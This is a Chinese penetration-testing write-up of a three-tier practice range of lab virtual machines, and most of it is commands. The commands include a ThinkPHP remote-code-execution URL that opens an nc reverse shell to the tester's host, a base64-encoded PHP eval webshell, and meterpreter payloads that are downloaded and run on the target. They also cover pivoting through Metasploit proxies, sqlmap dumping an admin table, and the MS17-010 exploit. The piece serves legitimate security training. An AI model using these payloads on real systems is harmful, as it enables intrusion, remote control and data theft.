CFS三层内网靶机渗透记录【详细指南】
2022-7-28 15:33:31 Author: 格物安全(查看原文) 阅读量:22 收藏

0x00 靶场介绍以及环境搭建

引用一下迪总给的拓扑图,非常清晰:

Target1 / 2 / 3分别对应CentOS7 / Ubuntu / Windows7,其中Target1也就是Web服务器需要启动一下宝塔(注意看靶机描述信息):

/etc/init.d/bt start
/etc/init.d/bt restart

注意:不要勾选这一选项,否则后面代理就就没有意义了。建议导入后打开虚拟机,使用root/teamssix.com登录主机,通过ifconfig检查网络情况是否正常。

另外,我使用的是2022版的kali,部分命令可能与往前有些许出入,请读者自行斟酌。

0x01 Target1

# 网段存活主机扫描
nmap 192.168.46.0/24
Nmap scan report for 192.168.46.128
Host is up (0.0014s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
888/tcp  open  accessbuilder
3306/tcp open  mysql
8888/tcp open  sun-answerbook
# 服务识别
nmap -sV 192.168.46.128 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-25 08:05 EDT
Nmap scan report for 192.168.46.128
Host is up (0.00069s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    nginx
111/tcp  open  rpcbind 2-4 (RPC #100000)
888/tcp  open  http    nginx
3306/tcp open  mysql   MySQL (unauthorized)
8888/tcp open  http    Ajenti http control panel

通过虚拟机描述信息可以看到宝塔面板的入口地址已经用户名密码,但这只是为了方便我们处理机器问题,访问80端口的index.php(如果没有可以尝试登录宝塔改一下网站默认站点),可以发现目标使用了ThinkPHP框架,这个框架的漏洞广为流传,网上搜一下就有很多。

?s=1可以看到版本是5.0.15,拿工具测一测看看有没有漏洞就行(github上就有这个工具):

反弹shell(也可以工具或者手工写Webshell,然后蚁剑连接,但要注意$_POST被过滤了,可以Base64编码绕过):

# 我不理解为什么nc反弹得到的shell和MSF、蚁剑拿到的shell都是www命令但nc不能执行很多命令(如ifconfig),如果有大佬能搞清楚这个问题,欢迎评论区指教
http://192.168.46.128/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nc 192.168.46.129 4444 -e /bin/bash
# 另一种方式:蚁剑写入Webshell
http://192.168.46.128/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydUdXprMSddKTsgPz4=" | base64 -d > shell.php

利用过程:

# 测试是否成功反弹
id
# 升级终端
python -c 'import pty;pty.spawn("/bin/bash")'
# 查找flag
find / -name "flag*" 2>/dev/null
# ip和ifconfig命令执行失败,不知道什么原因
# 生成后门程序
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.129 lport=5555 -f elf > horse.elf
# 开放Web服务,将后门程序挂载到上面(用蚁剑传上去也行)
python -m http.server 8888
# 打开另一个终端,启动MSF监听(以root权限打开,后面要用到ARP扫描模块需要root权限)
sudo msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.46.129
set lport 5555
run
# 切回Target1,切换到/tmp
cd /tmp
# 下载后门程序
wget "http://192.168.46.129:8888/horse.elf"
# 赋予执行权限
chmod +x horse.elf
# 执行
./horse.elf

然后就是内网渗透了,第一步肯定是要做内网信息收集了:

# 获取本地所在子网信息,可以看到存在22网段
run get_local_subnets
Local subnet: 192.168.22.0/255.255.255.0
Local subnet: 192.168.46.0/255.255.255.0
# 查看路由信息,会发现还没有路由
run autoroute -p
# 添加22网段的路由信息,这样kali就能与22网段互通了
run autoroute -s 192.168.22.0/24
# 或者使用MSF推荐的命令,将上面的命令整合(自动根据子网信息添加路由)
run post/multi/manage/autoroute
# 先切到控制台
background
# 配置socks5代理(将Target1作为代理以访问内网主机,后面会解释原理)
use auxiliary/server/socks_proxy
# 查看默认配置(用户名密码就不搞了)
show options
# 设置端口为2222(别管SRVHOST,血泪教训)
set srvport 2222
# run
run

kali中,我们可以通过sudo vim /etc/proxychains4.conf修改proxychains配置文件:

# 挂代理扫描时间会比较长,结果为.129(因为我开了DHCP)
proxychains4 nmap -p80 -Pn 192.168.22.0/24
# 扫描.129,全端口太久了我就不扫了
proxychains4 nmap -sV -Pn 192.168.22.129

有一说一,proxychains确实不如Windows挂代理来得好使(可以Proxifier挂代理,用Zenmap扫端口,速度快很多):

0x02 Target2

访问80端口,看网页源码有惊喜(一个SQL注入,Linuxproxy):

然后就是sqlmap一把梭:

proxychains4 sqlmap -u "http://192.168.22.129/index.php?keyword=1&r=vul" --batch
# 爆破bagecms库下的bage_admin表
proxychains4 sqlmap -u "http://192.168.22.129/index.php?keyword=1&r=vul" -D "bagecms" -T "bage_admin" --dump --batch
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

sqlmap还很贴心地把密码MD5解开,结果是123qwe,还找到一个flag。然后得找找后台,一波信息收集得知这个CMS是根据参数作路由的,并根据robots.txt的提示可以发现后台地址http://192.168.22.129/index.php?r=admini/public/login,登录可以发现第二个flag

正常来说要再来一波信息收集,但我就是要自己找,模板修改文件,写入一句话:

蚁剑连接:

然后生成后门,用蚁剑传到/tmp目录下:

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3210 -f elf > horse2.elf
# 文件上传之后在Webshell执行命令
chmod +x horse2.elf
./horse2.elf
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3210
exploit
run post/multi/manage/autoroute

然后,我在这里用nmap扫描端口扫了两个钟没结果。。。代理是没问题的,但是速度太慢了,所以我决定用MSF提供的主机存活探测,结果可能是线程调高了,把我两个session搞没了(我不知道已经重复拿了这两个机子多少次了,五次...或许是十次...有点崩溃,但还是得继续)。

最后扫出来了:

proxychains4 nmap -sT -Pn 192.168.33.33 
Nmap scan report for 192.168.33.33
Host is up (0.10s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

0x03 Target3

存在445端口的Windows主机,用MS17-010打一下试试:

use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run

成功拿到shell

参考文章

  • • https://teamssix.com/191021-211425.html


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3Mjc1MDM1Nw==&mid=2247485607&idx=1&sn=465a11c158ea98514029e345330e4ce6&chksm=ceebc4ddf99c4dcbffa2cb25d844e8cfb9be4cd2fcf9cb4d2bfcbb5cb654ef0c26594780aca0#rd
如有侵权请联系:admin#unsafe.sh